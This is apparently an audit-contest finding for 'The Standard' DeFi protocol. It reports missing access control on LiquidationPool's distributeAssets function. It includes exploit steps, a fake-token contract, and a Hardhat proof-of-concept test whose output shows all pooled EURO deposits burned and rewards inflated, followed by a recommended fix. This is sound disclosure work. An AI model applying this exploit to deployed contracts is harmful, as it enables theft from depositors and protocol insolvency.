The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Entire balance of EURO deposits in `LiquidationPool` can be burned and rewards inflated due to missing access control

Ciara and Gio

Summary

Entire balance of EURO deposits in LiquidationPool can be burned and rewards inflated due to missing access control, leading to protocol insolvency, incorrect protocol accounting, and potential DoS of rewards claims .

Description

LiquidationPool::distributeAssets should only be callable by the LiquidationPoolManager contract; however, it is missing the appropriate access controls and so in actual fact can be called by anyone. In this way, it is possible to loop over all holders and burn their EURO deposits to make the protocol insolvent while also inflating the rewards for any arbitrary collateral token.

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}

This vulnerability can be exploited by donating a fake token to the LiquidationPoolManager contract. This fake token should code infinite approval of the Manager to the Pool and be passed as the token.addr member in _assets such that it is transferred to the pool contract whenever safeTransferFrom is called. By passing the symbol of one of the collateral tokens, rewards can be arbitrarily inflated for all holders. This will result in incorrect protocol accounting, with a small number of holders being able to withdraw the majority of rewards while those whose inflated rewards amount exceeds the available collateral reward balance will experience a denial-of-service.

function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
(bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
require(_sent);
} else {
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
​
}
}

A carefully crafted exploit transaction chain could first force DoS for all holders before subsequently depositing a small amount of EURO and once again inflating the rewards balances such that the attacker remains the only account with a rewards balance sufficiently small to have their call to LiquidationPool::claimRewards succeed.

Impact

The protocol can be made insolvent with a high likelihood, so this is a high-severity vulnerability.

Proof of Concept

  1. Transfer type(uint96).max of a fake token to LiquidationPoolManager with maximum approval from the manager to the pool.

  2. Specify asset.amount as type(uint96).max - this will result in portion calculations that exceed the EURO balance of all positions, so the protocol simply reverts to using their entire EURO balance, incrementing the burnEuros variable accordingly.

  3. burnEuros amount of EURO are burned, or if the attacker has a EURO balance that they wish not to burn, passing invalid _collateralRate and/or _hundredPC values will cause costInEuros to round down to zero.

  4. Rewards for the specified collateral token symbol are inflated for all holders. If these values are sufficiently inflated then no single holder will be able to claim the rewards as their mapping value will exceed the contract balance.

  5. Deposit a small amount of EURO and repeat steps 1 - 4 to inflate the attacker's reward value by an amount equal to or less than the contract balance of a given collateral token such that the claim transaction succeeds.

Apply the following git diff and run the simplified test case with the command below:

diff --git a/contracts/utils/FakeToken.sol b/contracts/utils/FakeToken.sol
new file mode 100644
--- /dev/null
+++ b/contracts/utils/FakeToken.sol
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.17;
+
+import "./ERC20Mock.sol";
+
+contract FakeToken is ERC20Mock {
+ address private liquidationPoolManager;
+ address private liquidationPool;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals, address _liquidationPoolManager, address _liquidationPool) ERC20Mock(_name, _symbol, _decimals) {
+ liquidationPoolManager = _liquidationPoolManager;
+ liquidationPool = _liquidationPool;
+ }
+
+ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
+ address spender = _msgSender();
+ // _spendAllowance(from, spender, amount);
+ // _transfer(from, to, amount);
+ return true;
+ }
+}
\ No newline at end of file
diff --git a/test/liquidationPool.js b/test/liquidationPool.js
--- a/test/liquidationPool.js
+++ b/test/liquidationPool.js
@@ -5,7 +5,7 @@ const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsse
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
- ERC20MockFactory, TST, EUROs;
+ ERC20MockFactory, TST, EUROs, fakeToken;
beforeEach(async () => {
[ user1, user2, user3, Protocol ] = await ethers.getSigners();
@@ -21,12 +21,53 @@ describe('LiquidationPool', async () => {
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
+ fakeToken = await (await ethers.getContractFactory('FakeToken')).deploy('FakeToken', 'FAKE', 18, LiquidationPoolManager.address, LiquidationPool.address);
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
+ describe('poc', async () => {
+ it('burn euros and inflate rewards', async () => {
+ const balance = ethers.utils.parseEther('5000');
+ const tstVal = ethers.utils.parseEther('2000');
+ const eurosVal = ethers.utils.parseEther('1000');
+
+ await TST.mint(user1.address, balance);
+ await EUROs.mint(user1.address, balance);
+
+ await TST.connect(user1).approve(LiquidationPool.address, tstVal);
+ await EUROs.connect(user1).approve(LiquidationPool.address, eurosVal);
+ increase = LiquidationPool.connect(user1).increasePosition(tstVal, eurosVal);
+ await expect(increase).not.to.be.reverted;
+
+ // advcance the time by one day so pending rewards are included
+ await fastForward(DAY);
+
+ const amount = BigNumber.from('79228162514264337593543950335');
+ fakeToken.mint(LiquidationPoolManager, amount);
+
+ const clUsdUsdPrice = 100000000;
+ const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('USD / USD');
+ await ClUsdUsd.setPrice(clUsdUsdPrice);
+
+ const symbol = ethers.utils.formatBytes32String('ETH');
+ const decimals = await fakeToken.decimals();
+ const assets = [
+ [[symbol, fakeToken.address, decimals, ClUsdUsd.address, decimals], amount]
+ ];
+
+ console.log("EURO balance of pool before: ", (await EUROs.balanceOf(LiquidationPool.address)).toString());
+ let { _rewards } = await LiquidationPool.position(user1.address);
+ console.log("rewards of user1 before: ", rewardAmountForAsset(_rewards, 'ETH').toString());
+ await LiquidationPool.distributeAssets(assets, 100, 100);
+ console.log("EURO balance of pool after: ", (await EUROs.balanceOf(LiquidationPool.address)).toString());
+ let { _rewards: _rewardsAfter } = await LiquidationPool.position(user1.address);
+ console.log("rewards of user1 after: ", rewardAmountForAsset(_rewardsAfter, 'ETH').toString());
+ })
+ });
+
describe('position', async () => {
it('provides the position data for given user', async () => {
const { _position } = await LiquidationPool.position(user1.address);

Output:

❯ npx hardhat test --grep "poc"
​
​
LiquidationPool
poc
EURO balance of pool before: 1000000000000000000000
rewards of user1 before: 0
EURO balance of pool after: 0
rewards of user1 after: 1060000000000000000000
✔ burn euros and inflate rewards (283ms)
​
​
1 passing (4s)

Recommended Mitigation

Add appropriate access control to LiquidationPool::distributeAssets and consider also validating that `asset.token.symbol is equal to the ETH symbol on L229.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.